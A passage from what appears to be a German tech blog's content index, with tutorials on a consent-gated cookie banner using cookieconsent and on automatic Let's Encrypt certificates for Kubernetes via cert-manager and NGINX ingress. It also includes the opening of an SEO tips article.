Datei besteht mindestens aus dem initCookieConsent() und dem run() Befehl.\nAls Beispiel findest du hier meine aktuelle cookieconsent-init.js Datei mit Kommentaren.\n// obtain plugin const cc = initCookieConsent(); // Mein Hugo Papermod Theme benutzt die Bodyclass \u0026#34;dark\u0026#34; // um den dark mode Status zu ermitteln. // cookieconsent hingegen benutzt c_darkmode. // Deswegen synchronisiere ich die beiden Klassen: var bodyclasses = document.body.classList if (bodyclasses.contains(\u0026#34;dark\u0026#34;)) { bodyclasses.add(\u0026#39;c_darkmode\u0026#39;); } else { bodyclasses.remove(\u0026#39;c_darkmode\u0026#39;); } // cookieconsent ausfuehren: cc.run({ current_lang: \u0026#39;de\u0026#39;, // Sprache autoclear_cookies: true, // Cookies bei opt-out resetten page_scripts: true, // Scripte von cookieconsent managen lassen mode: \u0026#39;opt-in\u0026#39; // opt-in ist Pflicht in der EU force_consent: true, // graut die Seite aus, sodass das Banner sichtbarer wird // cookie_name: \u0026#39;cc_cookie\u0026#39;, // default: \u0026#39;cc_cookie\u0026#39; onFirstAction(user_preferences, cookie) { // Funktion die ausgefuehrt wird wenn // der Benutzer irgendeine Option auf dem Banner anklickt. }, onAccept(cookie) { // Funktion die ausgefuehrt wird wenn // alle Cookies angenommen werden }, onChange(cookie, changed_preferences) { // Funktion die ausgefuehrt wird wenn // der Benutzer die Cookieeinstellungen nachtraeglich aendert location.reload(); // Seite neu laden }, gui_options: { // Layout Einstellungen, sind geschmackssache... // Alternativen in den Kommentaren. consent_modal: { layout: \u0026#39;cloud\u0026#39;, // box/cloud/bar position: \u0026#39;top center\u0026#39;, // bottom/middle/top + left/right/center transition: \u0026#39;slide\u0026#39;, // zoom/slide swap_buttons: true, // enable to invert buttons }, settings_modal: { layout: \u0026#39;box\u0026#39;, // box/bar position: \u0026#39;left\u0026#39;, // left/right transition: \u0026#39;zoom\u0026#39;, // zoom/slide }, }, languages: { // Hier der Text und die Cookiekategorien... de: { // Ich habe nur eine deutsche Version consent_modal: { title: \u0026#39;Wir benutzen Cookies! \u0026lt;img src=\u0026#34;/cookieconsent/cookies.webp\u0026#34;\u0026gt;\u0026lt;/img\u0026gt;\u0026#39;, description: \u0026#39;Hi, diese Website verwendet Cookies, um ihren ordnungsgemäßen Betrieb zu gewährleisten, und Tracking-Cookies und vergleichbare Technologien wie Web Beacons, um zu verstehen, wie Sie mit dieser Website interagieren, und um Ihnen gezielte Werbung bereitzustellen. Letztere werden erst nach Zustimmung gesetzt. \u0026lt;br\u0026gt;\u0026lt;button type=\u0026#34;button\u0026#34; data-cc=\u0026#34;c-settings\u0026#34; class=\u0026#34;cc-link\u0026#34;\u0026gt;Lass mich wählen\u0026lt;/button\u0026gt;\u0026#39;, primary_btn: { // Button um alle Cookies anzunehmen text: \u0026#39;Alle Akzeptieren\u0026#39;, role: \u0026#39;accept_all\u0026#39;, // \u0026#39;accept_selected\u0026#39; or \u0026#39;accept_all\u0026#39; }, secondary_btn: { // Button um nur noetige Cookies anzunehmen (Pflicht in DE) text: \u0026#39;Alle Ablehnen\u0026#39;, role: \u0026#39;accept_necessary\u0026#39;, // \u0026#39;settings\u0026#39; or \u0026#39;accept_necessary\u0026#39; }, }, settings_modal: { // Menue fuer Eookieeinstellungen title: \u0026#39;Cookie Einstellungen\u0026#39;, save_settings_btn: \u0026#39;Einstellungen Speichern\u0026#39;, accept_all_btn: \u0026#39;Alles Akzeptieren\u0026#39;, reject_all_btn: \u0026#39;Alles Ablehnen\u0026#39;, close_btn_label: \u0026#39;Schließen\u0026#39;, cookie_table_headers: [ { col1: \u0026#39;Name\u0026#39; }, { col2: \u0026#39;Domain\u0026#39; }, { col3: \u0026#39;Expiration\u0026#39; }, { col4: \u0026#39;Description\u0026#39; }, ], blocks: [ { title: \u0026#39;Cookie Nutzung 📢\u0026#39;, description: \u0026#39;Wir verwenden Cookies und vergleichbare Technologien wie Web-Beacons, um die grundlegenden Funktionen der Website sicherzustellen und Ihr Online-Erlebnis zu verbessern. Sie können für jede Kategorie wählen, ob Sie sich jederzeit an- oder abmelden möchten. Weitere Einzelheiten zu Cookies und anderen sensiblen Daten finden Sie in der vollständigen \u0026lt;a href=\u0026#34;/datenschutz\u0026#34; class=\u0026#34;cc-link\u0026#34;\u0026gt;Datenschutzerklärung\u0026lt;/a\u0026gt;.\u0026#39;, //Link zur Datenschutzerklaerung, sollte ohne Zustimmung erreichbar sein }, { title: \u0026#39;Notwendige Cookies\u0026#39;, description: \u0026#39;Diese Cookies sind für das reibungslose Funktionieren meiner Website unerlässlich. Ohne diese Cookies würde die Website nicht richtig funktionieren.\u0026#39;, toggle: { value: \u0026#39;necessary\u0026#39;, // Kategorie \u0026#34;necessary\u0026#34; fuer notwendige Cookies enabled: true, readonly: true, // cookie kategorien mit readonly=true werden als notwendig behandelt }, cookie_table: [ // hier kannst du deine notwendigen Cookies auflisten { col1: \u0026#39;cc_cookie\u0026#39;, // match all cookies starting with \u0026#34;_ga\u0026#34; col2: \u0026#39;batchest.com\u0026#39;, col3: \u0026#39;6 months\u0026#39;, col4: \u0026#39;Stores your answers to this cookie consent tool.\u0026#39;, }, ], }, { title: \u0026#39;Werbe- und Targeting-Cookies und Web-Beacons\u0026#39;, description: \u0026#39;Diese Cookies sammeln Informationen darüber, wie Sie die Website nutzen, welche Seiten Sie besucht und auf welche Links Sie geklickt haben.\u0026#39;, toggle: { value: \u0026#39;ads\u0026#39;, // Kategorie \u0026#34;ads\u0026#34; fuer Marketing Cookies // z.B. google AdSense enabled: false, readonly: false, }, }, { title: \u0026#39;Leistungs- und Analyse-Cookies und Web-Beacons\u0026#39;, description: \u0026#39;Diese Cookies und Web Beacons können Informationen über Sie (IP-Adresse, Browserinformationen usw.) oder darüber sammeln, welche Seiten Sie besucht und welche Links Sie angeklickt haben.\u0026#39;, toggle: { value: \u0026#39;analytics\u0026#39;, // Kategorie \u0026#34;analytics\u0026#34; fuer Analysecookies //z.B. Google Analytics enabled: false, readonly: false, }, }, { title: \u0026#39;Mehr Informationen\u0026#39;, description: \u0026#39;Bei Fragen zu unserer Richtlinie zu Cookies und Ihren Auswahlmöglichkeiten \u0026lt;a class=\u0026#34;cc-link\u0026#34; href=\u0026#34;/impressum\u0026#34;\u0026gt;kontaktieren Sie uns bitte\u0026lt;/a\u0026gt;.\u0026#39;, //Link zum Impressum, sollte ohne Zustimmung erreichbar sein }, ], }, }, }, }); Auch diese Datei legst du am besten zusammen mit den anderen beiden ab, sodass du sie auf deiner Webseite einbinden kannst.\ncookieconsent Dateien einbinden Hast du alle Einstellungen durch und liegen die drei Dateien bereit, kannst du sie in deinem \u0026lt;body\u0026gt; oder \u0026lt;head\u0026gt; Tag im HTML Code deiner Webseite einbinden. Am besten bevor du andere Scripte einbindest.\n\u0026lt;body\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;/cookieconsent/cookieconsent.css\u0026#34; media=\u0026#34;print\u0026#34; onload=\u0026#34;this.media=\u0026#39;all\u0026#39;\u0026#34;\u0026gt; \u0026lt;script defer src=\u0026#34;/cookieconsent/cookieconsent.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script defer src=\u0026#34;/cookieconsent/cookieconsent-init.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; ... \u0026lt;/body\u0026gt; Jetzt sollte das Banner erscheinen, wenn du die Webseite neu lädst.\nScriptausführung erst nach Zustimmung Ziel der Übung ist es, dass die Scripte nur dann ausgeführt werden, wenn der Benutzer zugestimmt hat.\nUm Scripte von cookieconsent starten zu lassen, sobald der User einer bestimmten Cookie-Kategorie zugestimmt hat, musst du sie mit zwei speziellen Tags versehen:\ntype data-cookiecategory Durch type=\u0026quot;text/plain\u0026quot; wird die initiale Ausführung beim Laden der Seite verhindert. Durch data-cookiecategory lernt cookieconsent, dass es dieses Script managen und welche Kategorie es verwenden soll.\nBeispiel Google Analytics So könntest du das Google Analytics Script nur nach Zustimmung der \u0026ldquo;analytics\u0026rdquo; Cookie Kategorie ausführen:\n\u0026lt;!-- Google tag (gtag.js) --\u0026gt; \u0026lt;script async src=\u0026#34;https://www.googletagmanager.com/gtag/js?id=UA-123456789-0\u0026#34; type=\u0026#34;text/plain\u0026#34; data-cookiecategory=\u0026#34;analytics\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/plain\u0026#34; data-cookiecategory=\u0026#34;analytics\u0026#34;\u0026gt; window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag(\u0026#39;js\u0026#39;, new Date()); gtag(\u0026#39;config\u0026#39;, \u0026#39;UA-123456789-0\u0026#39;); \u0026lt;/script\u0026gt; Beispiel Google Adsense So könntest du das Google Adsense Script nur nach Zustimmung der \u0026ldquo;ads\u0026rdquo; Cookie Kategorie ausführen:\n\u0026lt;script async type=\u0026#34;text/plain\u0026#34; data-cookiecategory=\u0026#34;ads\u0026#34; src=\u0026#34;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1234567891234567\u0026#34; crossorigin=\u0026#34;anonymous\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Cookieeinstellungen ändern Du solltest deinen Besuchern die Möglichkeit geben, ihre Zustimmung nachträglich zu ändern. Zum Beispiel lehnen manche Benutzer pauschal alles ab. Später könnten sie merken sie, dass sie dadurch auf eingebundene externen Inhalte wie z.B. einen Twitch Stream verzichten müssen.\nEinen Link um das Cookieeinstellungsmenü aufzurufen kannst du so implementieren:\n\u0026lt;a href=\u0026#34;#\u0026#34; style=\u0026#34;color:silver\u0026#34; data-cc=\u0026#34;c-settings\u0026#34;\u0026gt;Cookie Settings\u0026lt;/a\u0026gt; Natürlich funktioniert dieser Link erst, nachdem das cookieconsent-init.js Script geladen ist. Ich habe einen solchen Button in den Footer der Webseite integriert.\n","permalink":"https://quisl.de/b/cookiebanner-mit-cookieconsent/","summary":"Cookiebanner sind dazu da, die Zustimmung zur Verwendung von Cookies von deinen Webseitenbesuchern einzuholen. Dies ist in vielen Ländern gesetzlich vorgeschrieben, einschließlich der Europäischen Union und ihrer Mitgliedsstaaten - also auch in Deutschland - sowie anderer Länder auf der ganzen Welt.\nSie tragen dazu bei, die Privatsphäre der Benutzer zu schützen und ihnen die Kontrolle darüber zu geben, wie ihre Daten von deiner Website erfasst und verwendet werden.\nIn diesem Beitrag will ich dir ein Tool an die Hand geben, mit dem ich das Cookiebanner meines Blogs erzeugt habe: Cookieconsent.","title":"Wie du ein perfektes Cookiebanner für deine Webseite mit JavaScript erstellst"},{"content":"Wenn du deine Website nicht nur mit HTTP, sondern auch mit dem sicheren HTTPS-Protokoll anbieten möchtest, benötigst du ein signiertes SSL-Zertifikat. Hier sind einige Gründe, warum du HTTPS brauchst\u0026hellip;.\nSicherheit: HTTPS hilft, die Verbindung zwischen einem Client und einem Server zu sichern, indem es die zwischen ihnen übertragenen Daten verschlüsselt.\nVertrauen: HTTPS verleiht deiner Website ein gewisses Maß an Vertrauen und Glaubwürdigkeit. Heutige Browser zeigen meist eine Warnung an wenn eine Webseite nur HTTP anbietet, oder das Zertifikat nicht durch eine Zertifizierungsstelle wie beispielsweise Let\u0026rsquo;s Encrypt signiert ist.\nSEO: Suchmaschinen verwenden SSL/TLS-Zertifikate als Rankingfaktor. Das bedeutet, dass ein SSL/TLS-Zertifikat dazu beitragen kann, das Suchmaschinenranking deiner Website zu verbessern.\nHTTPS ist grob gesagt der Stand der Technik, den jede Website unterstützen sollte.\nDas signierte Zertifikat bekommst du von einer Zertifizierungsstelle (engl. CA). In diesem Artikel benutzen wir Let\u0026rsquo;s Encrypt.\nTheorie Eigentlich kann dir die Theorie egal sein und du könntest direkt zur Praxis springen, weil der Cert-Manager und der Ingress Controller alles für dich machen. Aber für eventuelles Troubleshooting hier die Theorie.\nWas ist Let\u0026rsquo;s Encrypt Let\u0026rsquo;s Encrypt ist eine kostenlose und offene Zertifizierungsstelle (CA). Es bietet Domain Validation (DV) SSL/TLS-Zertifikate, die zum Sichern und Verschlüsseln von Daten verwendet werden, die zwischen einem Client (z. B. einem Webbrowser) und einem Server (z. B. einer Website) gesendet werden.\nDer große Vorteil ist, dass die Zertifizierung bei Let\u0026rsquo;s Encrypt vollkommen automatisch abläuft. Das bedeutet, dass du das System nur einmal aufsetzen musst und dich danach nie wieder um Zertifikate kümmern musst.\nDu brauchst keinen Account bei Let\u0026rsquo;s Encrypt, da die komplette Kommunikation automatisch zwischen deinem Kubernetes Cluster und der Webseite von Let\u0026rsquo;s Encrypt abgehandelt wird.\nWie funktioniert die Zertifizierung bei Let\u0026rsquo;s Encrypt Um ein SSL/TLS-Zertifikat von Let\u0026rsquo;s Encrypt zu erhalten, muss dein System zwei Schritte durchlaufen: 1. Domänenvalidierung (Domain Validation) und 2. Zertifikatsausstellung (Certificate Issurance).\nDiese Zertifikate sind in der Regel 90 Tage gültig und werden dann automatisch erneuert.\nDomänenvalidierung Beim ersten Schritt muss dein Kubernetes Cluster beweisen, dass er die Domäne - für die er das Zertifikat haben will - besitzt. Das funktioniert wie folgt:\nKubernetes fragt bei Lets Encrypt nach einer Domänenvalidierung. Let\u0026rsquo;s Encrypt stellt eine Herausforderung (Challenge*) und schickt eine Nonce zum signieren. Kubernetes löst die Herausforderung und signiert die Nonce mit seinem privaten Schlüssel. Let\u0026rsquo;s Encrypt prüft ob die Herausforderungen gelöst wurden und verifiziert die Signatur auf der Nonce. Hat alles geklappt ist das von Kubernetes verwendete Schlüsselpaar ist jetzt ein autorisiertes Schlüsselpaar. * Eine Herausforderung (engl. Challenge) kann die Bereitstellung eines DNS Eintrags sein, oder einfach das Hosten einer von Let\u0026rsquo;s Encrypt gewählten Datei und Pfad.\nZertifikatsausstellung Mit dem autorisierten Schlüsselpaar kann dein Kubernetes Cluster Zertifikate für deine Domäne anfordern, erneuern und widerrufen. Das funktioniert so:\nKubernetes stellt eine \u0026ldquo;PKCS#10\u0026rdquo; Zertifikatssignierungsanforderung (engl. Certificate Signing Request / CSR). Diese CSR wird durch das autorisierte Schlüsselpaar signiert. Let\u0026rsquo;s Encrypt verifiziert beide Signaturen. Wenn alles gut aussieht, stellen sie ein Zertifikat für die gewünschte Domäne mit dem öffentlichen Schlüssel des CSR aus und sendet es zurück. Kubernetes kann fortan dieses Zertifikat für jegliche SSL Kommunikation nutzen. Praxis Ich verwende Azure Kubernetes Service (AKS) in der Version 1.23. Auf einem selbst gehosteten Kubernetes Cluster sollte das allerdings genauso funktionieren, gebt mir gerne Feedback!\nZiel der Übung ist, dass du mithilfe von Ingress Regeln ein Zertifikat beantragen kannst.\nPrinzipiell braucht dein Kubernetes Cluster dazu 3 Dinge:\nden Cert-Manager eine ClusterIssuer Ressource einen Ingress-Controller Cert-Manager installation Der Cert-Manager fügt Zertifikate (engl Certificate) und Zertifikataussteller (engl. certificate issuers) als Ressourcentypen in Kubernetes hinzu und stellt sicher, dass Zertifikate gültig und aktuell sind, und versucht Zertifikate vor Ablauf zu erneuern.\nPrinzipiell kann es mit unterschiedlichen Systemen wie z.B. Hashicorp Vault oder Venafi kommunizieren. Wir brauchen es aber nur für Let\u0026rsquo;s Encrypt.\nIch verwende den Cert-Manager aktuell in der neusten Version 1.10.1. Diese Version unterstützt die Kubernetes Versionen 1.20 bis 1.26. Eventuelle Versionsunverträglichkeiten kannst du hier prüfen.\nDu kannst ihn ganz einfach mit dem Helm-Chart aus dem Jetstack Repository auf deinem Kubernetes Server ausrollen.\nhelm repo add jetstack https://charts.jetstack.io helm repo update helm install cert-manager jetstack/cert-manager --namespace cert-manager --create-namespace --version v1.10.1 --set installCRDs=true Diese Befehle erzeugen direkt einen neuen Namespace mit dem Namen \u0026ldquo;cert-manager\u0026rdquo;. Aufgrund des --set installCRDs=true Flags werden außerdem weitere Custom Resource Definitions angelegt.\nDu wirst feststellen, dass dort nun 3 neue Pods laufen.\nClusterIssuer installieren Jetzt wo Cert-Manager installiert ist, müssen wir ihm noch sagen dass wir Let\u0026rsquo;s Encrypt als Zertifizierungsstelle (engl. CA) verwenden wollen. Das geht mithilfe einer ClusterIssuer Ressource. Diese legst du einfach mithilfe einer .yaml Datei an.\nclusterissuer.yaml\napiVersion: cert-manager.io/v1 kind: ClusterIssuer metadata: name: letsencrypt spec: acme: server: https://acme-v02.api.letsencrypt.org/directory email: DEINE@EMAIL.COM privateKeySecretRef: name: letsencrypt solvers: - http01: ingress: class: nginx Ersetze DEINE@EMAIL.COM mit deiner Emailadresse. Diese verwendet Letsencrypt um dich vor auslaufenden Zertifikaten zu warnen falls die automatische Erneuerung nicht funktioniert hat. Du brauchst keinen Account bei Let\u0026rsquo;s Encrypt oder ähnliches.\nDiese YAML deployst du nun wie gewohnt auf deinem K8s Cluster.\nkubectl apply -f clusterissuer.yaml Ingress Controller installieren Solltest du noch keinen Ingress Controller verwenden ist jetzt der ideale Zeitpunkt einen zu installieren. In einem vorherigen Beitrag habe ich den NGINX Ingress Controller vorgestellt.\nKurz gesagt ist der Ingress Controller das System das eingehende Anfragen entgegennimmt und anhand von konfigurierten Ingress Regeln an deine internen Services weiterverteilt.\nSo installierst du ihn mit Helm in den Namespace \u0026ldquo;ingress-basic\u0026rdquo;.\nhelm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx helm repo update helm install ingress-nginx ingress-nginx/ingress-nginx --create-namespace --namespace ingress-basic --set controller.service.annotations.\u0026#34;service\\.beta\\.kubernetes\\.io/azure-load-balancer-health-probe-request-path\u0026#34;=/healthz --set controller.replicaCount=3 --set controller.service.externalTrafficPolicy=Local Beachte, dass ich hier \u0026ldquo;replicaCount=3\u0026rdquo; gesetzt habe. Je größer die Replica Anzahl, desto mehr Anfragen kann dein Cluster gleichzeitig entgegen nehmen. Allerdings braucht jede Replica auch etwas CPU und RAM. Ein guter Wert ist 1 Replica pro Knoten.\nMit controller.service.externalTrafficPolicy=Local werden die IP Adressen zu deinen Pods weitergeleitet. Eventuell brauchst du das bei deinem Setup nicht. In der Regel sollte das aber keine Probleme verursachen.\nAuch hier werden ein paar Pods gestartet.\nIngress Regeln: Praktisches Beispiel Seit etwa einer Woche hoste ich diesen Blog nicht mehr auf WordPress, sondern auf Azure Blob Storage als Static Website.\nDas hat zwei Gründe. Zum einen war WordPress mit der wachsenden Anzahl an Plugins ziemlich langsam und zum anderen muss ich bei Azure für eine managed Disk immer die Maximalgröße bezahlen. Bei Blob Storages zahle ich nur das was ich auch tatsächlich auch nutze.\nDer Blob Storage liegt mithilfe eines C-Eintrags auf www.quisl.de. Aber ich möchte, dass der Blog auch direkt auf quisl.de (ohne www) aufrufbar ist. Hier kommt der Kubernetesserver als Weiterleitung ins Spiel.\nZuerst erstelle ich einen Service der sich die Daten als ExternalName von www.quisl.de holt.\nservice.yaml\napiVersion: v1 kind: Service metadata: name: blog spec: type: ExternalName externalName: www.quisl.de ports: - port: 80 targetPort: 80 name: http protocol: TCP - port: 443 targetPort: 443 name: https protocol: TCP Und jetzt kann ich eine Ingress Regel schreiben, die jeden Traffic von quisl.de auf diesen Service weiterleitet.\ningress.yaml\napiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: blog-ingress annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 nginx.ingress.kubernetes.io/use-regex: \u0026#34;true\u0026#34; cert-manager.io/cluster-issuer: letsencrypt nginx.ingress.kubernetes.io/backend-protocol: https nginx.ingress.kubernetes.io/upstream-vhost: www.quisl.de spec: tls: - hosts: - quisl.de secretName: tls-secret rules: - host: quisl.de http: paths: - backend: service: name: blog port: number: 443 path: /(.*) pathType: ImplementationSpecific Das ganze habe ich mit apply auf dem Cluster ausgespielt.\nkubectl apply -f .\\service.yaml kubectl apply -f .\\ingress.yaml Cert-Manager kümmert sich im Hintergrund um das Zertifikat und quisl.de war innerhalb von einer Minute erreichbar.\nAbschluss Jetzt sollte alles funktionieren. Falls nicht kann ich dir die Troubleshooting Webseite von Cert-Manager empfehlen.\nMithilfe von Ingress Regeln kannst du nun für jede URL ein Zertifikat beantragen. Natürlich müssen diese URLs jeweils einen A-Eintrag haben der auf die IP deines Kubernetes Clusters zeigt. Nur so kann der Cert-Manager die Herausforderung erfüllen und ein Zertifikat von Let\u0026rsquo;s Encrypt erhalten.\n","permalink":"https://quisl.de/b/k8s-mit-letsencrypt/","summary":"Wenn du deine Website nicht nur mit HTTP, sondern auch mit dem sicheren HTTPS-Protokoll anbieten möchtest, benötigst du ein signiertes SSL-Zertifikat. Hier sind einige Gründe, warum du HTTPS brauchst\u0026hellip;.\nSicherheit: HTTPS hilft, die Verbindung zwischen einem Client und einem Server zu sichern, indem es die zwischen ihnen übertragenen Daten verschlüsselt.\nVertrauen: HTTPS verleiht deiner Website ein gewisses Maß an Vertrauen und Glaubwürdigkeit. Heutige Browser zeigen meist eine Warnung an wenn eine Webseite nur HTTP anbietet, oder das Zertifikat nicht durch eine Zertifizierungsstelle wie beispielsweise Let\u0026rsquo;s Encrypt signiert ist.","title":"SSL Zertifikate mit Let's Encrypt auf Kubernetes automatisch beantragen"},{"content":"Als Webseitenbetreiber oder Blogger willst du meist die Sichtbarkeit und das Ranking deiner Webseite oder deines Blogs in Suchmaschinen wie Google verbessern. Dazu solltest du die Verwendung von Techniken zur Suchmaschinenoptimierung (SEO) in Betracht ziehen.\nSEO ist der Prozess, deine Website für Suchmaschinen attraktiver zu machen, sodass sie auf der Ergebnisseite weiter oben angezeigt wird, wenn Personen nach Schlüsselwörtern suchen, die sich auf deine Inhalte beziehen.\nDas kann durch eine Vielzahl von Taktiken erreicht werden. Durch die Implementierung dieser Techniken kannst du die Menge an organischem Traffic erhöhen, den dein Blog von Suchmaschinen erhält, was zu mehr Lesern und potenziellen Marketingmöglichkeiten führen kann.\nHier sind meine 8 Tipps\u0026hellip;\nVerwende gute Schlüsselwörter Verwende interessante Schlüsselwörter strategisch in deinen Seitentiteln, Überschriften und Inhalten, um Dein Suchmaschinenranking zu verbessern.\nEine Möglichkeit, gute Keywords für deinen Blog zu finden, ist die Verwendung eines Keyword-Recherche-Tools wie dem Keyword-Planer von Google. Mit diesem Tool kannst du ein Schlüsselwort oder einen Ausdruck eingeben, der sich auf den Inhalt deines Blogs bezieht, und es wird eine Liste verwandter Schlüsselwörter und ihres Suchvolumens bereitstellen. Anhand dieser Informationen kannst du Keywords identifizieren, die bei deiner Zielgruppe beliebt sind.\nEine andere Möglichkeit, gute Schlüsselwörter zu finden, besteht darin, über die Wörter und Ausdrücke nachzudenken, die deine potenziellen Leser verwenden könnten, wenn sie nach Inhalten wie deinen suchen. Wenn du beispielsweise ein Modeblogger bist, suchen deine Leser möglicherweise nach Schlüsselwörtern wie \u0026ldquo;Modetipps\u0026rdquo; oder \u0026ldquo;Stilberatung\u0026rdquo;.\nDu kannst auch die automatische Vervollständigungsfunktion von Google verwenden, um zu sehen, nach welchen Schlüsselwörtern und Phrasen in Bezug auf das Thema deines Blogs häufig gesucht wird.\nAnschließend kannst du die gefundenen Schlüsselwörter in deine Blog-Posts und Seitentitel integrieren.\nHabe schnelle Ladezeiten Eine Webantwortzeit zwischen 200 Millisekunden und 1 Sekunde wird meist als akzeptabel angesehen, da Benutzer die Verzögerung vorallem bei statischen Blogs wahrscheinlich kaum bemerken werden.\nOptimiere die Ladezeit deiner Website, indem du die Anzahl großer Bilder und anderer Elemente reduzierst, die deine Website verlangsamen könnten.\nUm zu schauen ob deine Webseite schnell genug ist, kannst du einen Service wie PageSpeed Insights verwenden.\nBenutze Social Media und Backlinks Backlinks sind Links die auf deine Webseite zeigen. Sie sind ein wichtiger Faktor dafür, wie Suchmaschinen wie Google das Ranking deiner Website bestimmen. Hochwertige Backlinks, die auf deime Website verweisen, können dazu beitragen, dein Suchmaschinenranking zu verbessern und die Sichtbarkeit deiner Website für potenzielle Kunden zu erhöhen.\nEine Möglichkeit, gute Backlinks für deine Website zu erhalten, besteht darin, qualitativ hochwertige, originelle Inhalte zu erstellen, auf die die Leute verlinken möchten. Dazu können Blogbeiträge, Artikel, Infografiken, Videos und andere Arten von Inhalten gehören, die einen Mehrwert bieten. Du kannst diese Inhalte dann in sozialen Medien, Foren und anderen Online-Plattformen bewerben, um andere Personen dazu zu bringen, darauf zu verlinken.\nEine andere Möglichkeit, Backlinks zu erhalten, besteht darin, andere Websites zu kontaktieren und sie zu bitten, auf deinen Content zu verlinken. Dazu können Websites gehören, die für deine Branche relevant sind, sowie Websites, die eine hohe Domänenautorität haben. D.h. Webseiten die bereits ein hohes Ranking auf Google haben. Dadurch werden sie einen Teil ihrer Autorität an deine Website weitergeben. Du kannst auch erwägen, Gastbeiträge auf anderen Blogs anzubieten und dort Backlinks zur eigenen Website einzubauen.\nBeachte, dass die Qualität der Backlinks wichtiger ist als die Quantität. Es ist besser, ein paar qualitativ hochwertige Backlinks von seriösen Websites zu haben, als viele minderwertige Backlinks von Spam- oder irrelevanten Websites.\nInsgesamt erfordert der Aufbau guter Backlinks für deine Website eine Kombination aus der Erstellung hochwertiger Inhalte, der Bewerbung dieser Inhalte und der Kontaktaufnahme mit anderen Websites, um nach Backlinks zu fragen. So kannst du dazu beitragen, dein Suchmaschinenranking zu verbessern und die Sichtbarkeit deiner Website für potenzielle Kunden oder Leser zu erhöhen.\nErstelle gute Inhalte Erstelle einzigartige, qualitativ hochwertige Inhalte, die deinen Besuchern einen Mehrwert bieten und deine Website von der Konkurrenz abhebt.\nDas ist natürlich leichter gesagt als getan. Um gute Themen zum Schreiben zu finden, kannst du damit beginnen, über die Interessen und Leidenschaften deiner Zielgruppe nachzudenken. Worüber möchten sie mehr erfahren? Welche Probleme haben sie, bei deren Lösung dein Blog helfen könnte?\nIch schreibe diesen Blog über Softwareentwicklung und IT\u0026hellip; Also über Dinge die ich selbst irgendwann einmal lernen musste. Damals hätte ich mich über meine Beiträge gefreut. Also guck doch mal deine letzten Google Suchen durch die nicht zielführend waren\u0026hellip; Hast du für irgendetwas davon schon eine Lösung? Dann schreib darüber!\nDarüber hinaus kannst du dir ansehen, worüber andere Blogger in deiner Nische schreiben, und erwägen, ähnliche Themen aus einer einzigartigen Perspektive zu behandeln um neue Informationen und Erkenntnisse anzubieten.\nDu kannst auch soziale Medien und Online-Foren nutzen, um zu sehen, worüber die Leute sprechen und welche Fragen sie zum Thema deines Blogs stellen. All dies können Inspirationsquellen sein, um gute Themen zu finden, über die du schreiben kannst.\nIntegriere Sitemaps Eine Sitemap ist meistens eine XML Datei, in der du Informationen zu Seiten, Videos und anderen Dateien auf deiner Website sowie zu den Zusammenhängen zwischen diesen Dateien angeben kannst. Sie ist quasi das Inhaltsverzeichnis deiner Webseite. Suchmaschinen wie Google schauen sich diese Datei an, um zu wissen welche Seiten indexiert werden könnten. Du kannst mit der Sitemap auch Auskunft darüber geben, welche Seiten und Dateien auf deiner Website du für besonders wichtig hältst. Sie liefert dazu Zusatzinformationen, etwa wann eine Seite zuletzt aktualisiert wurde, oder Informationen zu alternativen Sprachversionen der Seite.\nWenn du eine solche Sitemap anbietest erhöhst du die Chance, dass die Suchmaschinen deine Seiten überhaupt indexieren. In einer Google Dokumentation erklären sie, wie Indexierung funktioniert.\nSitemaps finden sich meistens unter \u0026ldquo;EXAMPLE.COM/sitemap.xml\u0026rdquo;. Als Beispiel kannst du dir die Sitemap meines Blogs angucken: https://quisl.de/sitemap.xml\nMelde dich bei Suchmaschinen an Hast du deine Sitemap erstellt kannst du warten bis der Google Crawler deine Webseite findet. Das kann unter Umständen sehr lange dauern. Vorallem wenn du noch nicht so viele Backlinks hast.\nUm den Prozess zu beschleunigen solltest du deine Sitemap bei Google einreichen. Das geht in der Google Search Console. Dort musst du einen Account machen bzw. dich mit deinen Google Account anmelden und die Eigentümerschaft deiner Webseite bestätigen. Anschließend kannst du deine Sitemap über den Menüpunkt Indexierung\u0026ndash;\u0026gt;Sitemaps einreichen.\nSchreibe Alt Tags für Bilder Verwende Alt-Tags, um deine Bilder zu beschreiben und sie suchmaschinenfreundlicher zu machen.\nErstens liefern Alt-Tags eine Textbeschreibung des Bildes, die es Suchmaschinen ermöglicht, den Inhalt des Bildes zu verstehen. Dies kann dazu beitragen, dass die Seiten deines Blogs für relevante Schlüsselwörter höher eingestuft werden, da Suchmaschinen jetzt sehen können, dass die Seite diese Schlüsselwörter in den Alt-Tags enthält.\nZweitens können Alt-Tags die Zugänglichkeit deines Blogs für Benutzer verbessern, die sehbehindert sind und auf Bildschirmlesegeräte angewiesen sind, um auf den Inhalt zuzugreifen. Screenreader können die Alt-Tags von Bildern laut vorlesen, was diesen Benutzern ein besseres Erlebnis bietet.\nSchließlich können Alt-Tags auch für Benutzer nützlich sein, die deinen Blog mit einer langsamen Internetverbindung durchsuchen oder deren Webbrowser Bilder deaktiviert haben. In diesen Fällen werden die Alt-Tags anstelle der Bilder angezeigt, sodass Benutzer den Inhalt der Bilder immer noch verstehen können.\nInsgesamt kann die Verwendung von Alt-Tags für Bilder in deinem Blog bei der Suchmaschinenoptimierung helfen, die Zugänglichkeit verbessern und deinen Lesern ein besseres Erlebnis bieten.\nBleibe auf dem Laufenden Bleibe über die neuesten SEO-Trends und Best Practices auf dem Laufenden, um sicherzustellen, dass deine Website wettbewerbsfähig bleibt und sich dein Suchmaschinenranking weiter verbessert. Gute Quellen sind meistens die Suchmaschinen und ihre Sprecher selbst.\n","permalink":"https://quisl.de/b/seo-strategien/","summary":"Als Webseitenbetreiber oder Blogger willst du meist die Sichtbarkeit und das Ranking deiner Webseite oder deines Blogs in Suchmaschinen wie Google verbessern. Dazu solltest du die Verwendung von Techniken zur Suchmaschinenoptimierung (SEO) in Betracht ziehen.\nSEO ist der Prozess, deine Website für Suchmaschinen 